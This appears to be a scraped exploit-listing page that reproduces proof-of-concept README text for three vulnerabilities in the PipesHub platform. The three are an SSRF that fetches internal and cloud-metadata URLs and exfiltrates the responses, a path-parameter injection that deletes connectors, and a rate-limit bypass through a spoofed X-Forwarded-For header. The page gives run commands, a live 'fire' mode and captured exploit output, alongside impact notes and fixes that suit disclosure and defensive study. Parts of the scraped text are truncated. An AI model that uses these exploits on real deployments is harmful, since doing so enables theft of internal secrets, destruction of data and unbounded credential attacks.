Skip to content
Exploit for CVE-2026

Exploit for CVE-2026

Sploitus • October 31, 2026

Proof-of-concept exploits for vulnerabilities in [PipesHub](

a workplace AI platform for enterprise and workflow automation.

| [CVE-2026-119712]( | 8.5 High | SSRF via image URLs in indexed documents | [`CVE-2026-119712.py`](CVE-2026-119712.py) |

| [CVE-2026-119710]( | 8.1 High | Unauthorized connector deletion via the crawling-manager schedule route | [`CVE-2026-119710.py`](CVE-2026-119710.py) |

| [CVE-2026-119711]( | 7.3 High | Rate-limit bypass via a spoofed `X-Forwarded-For` header | [`CVE-2026-119711.py`](CVE-2026-119711.py) |

> Authorized security testing and research only. The PoCs are dependency-free (Python 3

> stdlib) and were verified against the repository source.

# CVE-2026-119712 — SSRF via image URLs in indexed documents

**PipesHub's image parser fetches image URLs taken from document content — a synced

mailbox, a crawled page, or an authenticated upload — with a raw HTTP request that is

not routed through the project's SSRF "blocked-host" policy. A URL embedded in a

document makes the indexing service issue a server-side request to an internal,

| **CVE** | [CVE-2026-119712]( |

| **Vendor / product** | PipesHub — [`github.com/pipeshub-ai/pipeshub-ai`]( |

| **Affected** | `/latest/meta-data/iam/creds.png`;

the internal service receives the request and its body is exfiltrated back as base64

(the parser embeds it into the document).

- **[B] redirect bypass** — fetch the attacker's `…/evil.png` (passes

`_is_valid_image_url`); the `302` is followed into the internal target.

- **[C] control** — run the SSRF guard the code skipped

(`resolve_public_http_target`); it rejects the same URL, proving the fix exists but is

- **`--real`** (default when importable) drives the **actual**

`ImageParser._fetch_single_url` from the repo. Needs the PipesHub source and its deps:

python3 -m venv venv && ./venv/bin/pip install aiohttp httpx pydantic

./venv/bin/python CVE-2026-119712.py --real --src /path/to/pipeshub-ai/backend/python

- **`--standalone`** faithfully reproduces `image_parser.py:140-145` (aiohttp, falling

back to stdlib `urllib` so it runs with zero third-party deps). Auto-selected if the

[A] direct SSRF to a loopback/internal target:

internal service received the request: True

exfiltrated internal body: 'INTERNAL-SECRET-…-metadata-token'

[B] redirect bypass — attacker '.png' URL 302 -> internal

attacker host hit: True; redirect followed into internal: True

[C] the SSRF guard the code skipped: blocks this URL = True

resolve_public_http_target raised FetchError: Blocked unsafe URL address: 127.0.0.1

EXPLOIT CONFIRMED — a content-supplied image URL drove a server-side request

to an internal/loopback target (directly and via a .png redirect).

Confirmed both ways: driving the real `ImageParser._fetch_single_url` (against the

repo source) and the standalone reproduction.

- Server-side requests to internal services, loopback, RFC-1918 hosts, and the cloud

metadata endpoint (`169.254.169.254`) — reachable from document content an attacker

can plant via a synced mailbox, a crawled page, or an authenticated upload.

- Where a fetched target returns an `image/*` content type, its **response body is

exfiltrated** back into the indexed document as base64; otherwise it is a blind SSRF

(port scanning, hitting internal unauthenticated endpoints, request smuggling via the

- Route this fetch through the existing policy: resolve and validate the URL with

`resolve_public_http_target` / `PublicUrlFetcher` (connection-pinning and per-hop

revalidation), instead of calling `session.get` directly — the same change already

made for `image_utils`, the skills importer and `fetch_url` in `23f85354d`.

- Re-check every redirect hop rather than relying on `allow_redirects=True`, and clear

proxy environment variables for these fetches.

- Consider a single `fetch_external(url)` helper and make it the only way any part of

the codebase reaches a URL chosen by a user or by document content.

*Authorized security testing and research only. Verified against repository source and

`pipeshubai/pipeshub-ai:slim` (image built 2026-09-17, which contains `23f85354d`).

Reported to the maintainers per `SECURITY.md`.*

# CVE-2026-119710 — Unauthorized connector deletion via the schedule route

**`POST /api/v1/crawlingManager/:connector/:connectorId/schedule` validates the

connectorId but takes `:connector` as an arbitrary string and requires only the

`crawl:write` scope. That path parameter becomes the message-broker event type, and

the connector service re-parses it and dispatches on its second dotted segment as the

action — so `:connector = "web.delete"` runs the DELETE handler, destroying a connector

and its indexed records, bypassing the `CONNECTOR_DELETE` scope and the

| **CVE** | [CVE-2026-119710]( |

| **Vendor / product** | PipesHub — [`github.com/pipeshub-ai/pipeshub-ai`]( |

# backend/python/app/connectors/services/event_service.py (process_event)

action = parts[1].lower() # the SECOND segment is the action

return await self._handle_delete(connector_name, payload) # destroys connector + graph + embeddings

`:connector = "web.delete"` → eventType `web.delete.resync` → `parts = ["web","delete","resync"]`

→ `action = "delete"` → `_handle_delete`. The connector *type* is chosen independently

of the connector *id*, which also allows connector-type confusion.

- **Offline mechanics proof** (default) — reproduces the exact `utils.ts:13`

construction and the `event_service.py` parse/dispatch, showing a benign `Web`

resolves to a harmless `resync` while the injected `web.delete` resolves to the

`_handle_delete` action — all reachable with only `crawl:write`. Zero dependencies.

- **Live** (`--base`) — sends the crafted destructive request to a running instance and

verifies the connector is gone (`GET /api/v1/connectors/:id` → 404). **Destructive**,

so it is a DRY-RUN (prints the request) unless `--confirm` is passed with a

`crawl:write` `--token` and a throwaway `--connector-id`.

python3 CVE-2026-119710.py # offline proof

python3 CVE-2026-119710.py --base --token --connector-id # dry-run

python3 CVE-2026-119710.py --base --token --connector-id --confirm # fire

[benign] :connector = 'Web' -> eventType 'web.resync' -> action 'resync' (_handle_start_sync)

[INJECTED] :connector = 'web.delete' -> eventType 'web.delete.resync' -> action 'delete' (_handle_delete)

mechanics: CONFIRMED — a crawl:write ':connector=web.delete' reaches the _handle_delete action.

A caller holding only `crawl:write` (any OAuth app consented for sync management, or any

member's PAT) permanently destroys a connector instance and its indexed records and

embeddings, skipping both the `CONNECTOR_DELETE` scope and the guard that prevents

- Validate `:connector` against the connector registry (and against the connector

instance's actual type) before using it — never interpolate a path parameter into an

- Make the event type a structured `{connector, action}` pair or a fixed enum rather

than a dot-delimited string the consumer re-parses.

- Require `CONNECTOR_DELETE` for any action that deletes, regardless of the entry point.

# CVE-2026-119711 — Rate-limit bypass via a spoofed X-Forwarded-For header

**The rate limiter derives its key, for unauthenticated requests, from the

client-supplied `X-Forwarded-For` / `X-Real-IP` headers, and no `trust proxy` is

configured anywhere. A fresh header value per request yields a fresh bucket, so the

only limiter protecting the unauthenticated auth endpoints can be bypassed — making

password spraying, OTP brute force and mail-bombing unbounded.**

| **CVE** | [CVE-2026-119711]( |

| **Vendor / product** | PipesHub — [`github.com/pipeshub-ai/pipeshub-ai`]( |

| **Affected** | ` `ip:${getClientIp(req)}`

There is **no `app.set('trust proxy', …)`** anywhere in the codebase and no proxy that

rewrites the header, so `X-Forwarded-For` is taken verbatim. The global limiter is the

only one protecting `POST /api/v1/userAccount/initAuth`, `/authenticate`,

`/login/otp/generate` and `/password/forgot`.

- **Offline mechanics proof** (default) — reproduces `getClientIp()`/`keyGenerator` and

shows that the same socket address with a rotating `X-Forwarded-For` produces a

distinct limiter key (a fresh bucket) every request, while the true socket address is

- **Live** (`--base`) — hammers an unauthenticated endpoint first with a **fixed**

header (expect a `429` after the cap) then with a **rotating** header (expect zero

python3 CVE-2026-119711.py # offline proof

python3 CVE-2026-119711.py --base # live

python3 CVE-2026-119711.py --base --path /api/v1/userAccount/initAuth --n 90

X-Forwarded-For: -> key 'ip:10.0.0.5' (the real source)

X-Forwarded-For: 198.51.100.1 -> key 'ip:198.51.100.1'

X-Forwarded-For: 198.51.100.2 -> key 'ip:198.51.100.2' ... a new bucket each time

distinct bucket per request: True real socket address ignored: True

(The original research also reproduced this live: a fixed header hit `429` after 60

requests; 90 requests with a rotating last octet produced zero `429`s from the same

Unlimited credential stuffing, OTP brute force and email bombing against arbitrary

addresses — the limiter that is supposed to bound these is keyed on a header the

attacker sets. The same keying is used by the per-key limiters on `/oauth2/token`.

- Key on the socket address (`req.socket.remoteAddress`), and read `X-Forwarded-For`

only when a trusted proxy is configured (`app.set('trust proxy', )`).

- Add dedicated limiters to the authentication endpoints (per account *and* per IP, with

lockout/backoff), rather than relying on the global limiter.